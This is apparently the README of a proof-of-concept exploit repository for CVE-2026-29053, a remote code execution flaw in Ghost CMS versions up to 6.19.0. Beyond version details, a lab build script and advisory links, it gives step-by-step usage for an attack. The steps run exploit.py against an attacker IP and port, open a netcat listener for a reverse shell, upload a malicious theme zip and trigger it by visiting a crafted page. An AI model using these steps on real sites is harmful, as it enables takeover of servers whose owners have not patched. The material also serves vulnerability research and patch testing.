# CVE-2026-29053

Ghost CMS RCE via jsonpath/static-eval prototype chain.


## Info

- **CVE**: CVE-2026-29053
- **Affected**: Ghost <= 6.19.0 with jsonpath 1.1.1 + static-eval 2.0.2
- **Fixed**: 6.19.1

## Demo
[CVE-2026-29053.webm](https://github.com/user-attachments/assets/eb749663-ffa2-4fdd-b7b7-f6cb20c3e16e)


## Setup Vulnerable Environment

```bash
cd build
./build.sh
```

## Usage

```bash
python3 exploit.py -i <YOUR_IP> -p <PORT>
```

1. Start listener: `nc -lvnp <PORT>`
2. Upload `malicious-theme.zip` to Ghost Admin → Settings → Design
3. Create page with slug `rce`
4. Visit `/rce/`

## References

- https://github.com/TryGhost/Ghost/security/advisories/GHSA-cgc2-rcrh-qr5x
- https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x
